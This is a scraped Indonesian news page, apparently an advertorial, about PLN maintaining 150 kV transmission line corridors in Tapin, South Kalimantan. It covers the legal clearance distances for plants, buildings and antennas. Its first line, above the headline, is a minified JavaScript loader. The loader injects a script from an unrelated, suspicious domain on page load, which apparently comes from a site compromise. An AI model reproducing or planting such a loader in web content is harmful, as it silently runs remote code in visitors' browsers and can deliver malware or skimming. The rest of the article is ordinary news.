(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

PLN Antisipasi Ancaman Padam Akibat Gangguan Transmisi di Jalur SUTT


KANALKALIMANTAN.COM, BANJARBARU – PT PLN Unit Pelaksana Transmisi (UPT) Kalimantan Selatan dan Kalimantan Tengah (KSKT) terus melakukan pemeliharaan jalur transmisi listrik di wilayah kerjanya, salah satunya di Kabupaten Tapin, Kalimantan Selatan.

Tenaga listrik wilayah Kalselteng bersumber dari Gardu Induk (GI) Asam asam yang kemudian dialirkan melalui jalur Saluran Udara Tegangan Tinggi (SUTT) 150 kV ke daerah perkotaan -Banjarbaru dan Banjarmasin hingga Kalteng-, maupun ke daerah Banua Anam, serta ke daerah pesisir melalui Kabupaten Tanah Bumbu dan Kabupaten Kotabaru hingga ke ibu kota negara di Provinsi Kalimantan Timur.

Dalam pengaplikasiannya, jalur row SUTT tersebut ditopang oleh tower yang tingginya sekitar 34 meter dan menjadi penyangga kabel-kabel transmisi bertegangan tinggi. Sehingga memiliki tingkat bahaya yang cukup tinggi apabila terdapat gangguan di bawahnya, seperti pohon, bangunan ataupun tower atau antena.

Manager PLN UPT KSKT Ivan Nur Pratama menjelaskan bahwa ruang bebas dan ruang aman jalur transmisi SUTT 150 kV diatur pada Permen ESDM nomor 13 tahun 2021 dan Standar Nasional Indonesia nomor 04.6918-2002.

 

Baca juga: Konsisten Dorong Transisi Energi, PLN Raih Penghargaan Internasional The Best Green Loan

“Teknis ruang bebas dan ruang aman SUTT 150 kV tertera pada Permen ESDM dan SNI, sehingga perlu dilakukan pemeliharaan secara berkala agar tidak terjadi pemadaman yang tidak diinginkan,” jelasnya.

Adapun jarak ketinggian bebas minimum berdasarkan kriteria hambatan yakni 5 meter untuk kriteria tanaman maupun bangunan yang dihitung mulai dari jarak andongan terendah (kabel) di tengah tower.

Kemudian untuk lapangan atau daerah terbuka jarak bebas minimum adalah 8,5 meter. Sementara pemancar sinyal seperti antena jaraknya lebih kecil lagi yakni 4 meter.

“Tanaman dan bangunan diatur minimum 5 meter di bawah kabel terendah, lapangan atau daerah terbuka minimum 8,5 meter, sedangkan antena minmal 4 meter, semua itu jelas dinyatakan dalam peraturan tersebut,” jelasnya.

Baca juga: The 30th IIMS 2023 Dibuka Presiden, PLN Siap Optimalkan Ekosistem Kendaraan Listrik

Alasan pengayuran batas-batas minimum tersebut semata untuk memastikan keamanan transmisi bagi masyarakat dan juga berkaitan dengan keamanan lingkungan sekitar. Lantaran tegangan tinggi yang dialirkan dapat menimbulkan induksi jika terdapat benda asing yang berada di dalam batas jarak bebas minimum.

Karena alasan keselamatan tersebut, maka PLN gencar melakukan pemeliharaan melalui identifikasi di lapangan secara berkala. Hal tersebut memang sangat signifikan pengaruhnya, khususnya di Kabupaten Tapin yang merupakan jalur penting dari GI Asam asam ke Banua Anam.

“SUTT di Kabupaten Tapin ini sangat penting karena jalurnya tenaga listrik bagi masyarakat di Banua Anam dan bahkan terhubung ke Kalteng, maka perlu kami tangani segera apabila ada hambatan-hambatan yang dapat mengancam penyaluran listrik,” ucapnya.

Selain itu, khusus untuk tanaman tumbuh sebenarnya dapat menyesuaikan dengan jenis tanaman yang tidak terlalu tinggi dan memiliki potensi panen yang lebih cepat, seperti jagung, ubi, sawo atau semacamnya. Sehingga, kedepan tidak berpotensi mengganggu transmisi listrik di bawah jalur SUTT 150 kV.

Baca juga: Direksi PLN Pastikan Progres Interkoneksi Kelistrikan Kalbar – Kalteng Sesuai Rencana

“Sebenarnya ada banyak macam tanaman yang bisa ditanam di bawah jalur SUTT 150 kV, terutama tanaman yang tidak terlalu tinggi, namun masa panennya cepat apabila dibandingkan dengan tanaman tinggi lainnya, diantaranya jagung, ubi atau sawo,” jelasnya.

Terakhir, dia mengajak kepada masyarakat ataupun pihak terkait yang memiliki tanaman atau bangunan di bawah jalur SUTT 150 kV agar dapat bersinergi dengan PLN untuk bersama-sama menjaga keberlangsungan aliran tenaga listrik di wilayah Provinsi Kalsel. Karena memang listrik saat ini menjadi kebutuhan primer bagi kehidupan manusia baik perkotaan maupun pedesaan. (Kanalkalimantan.com/adv)

Reporter: adv
Editor: kk


Al Ghifari

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

36 menit ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

1 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

2 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

2 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

3 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

3 jam ago

This website uses cookies.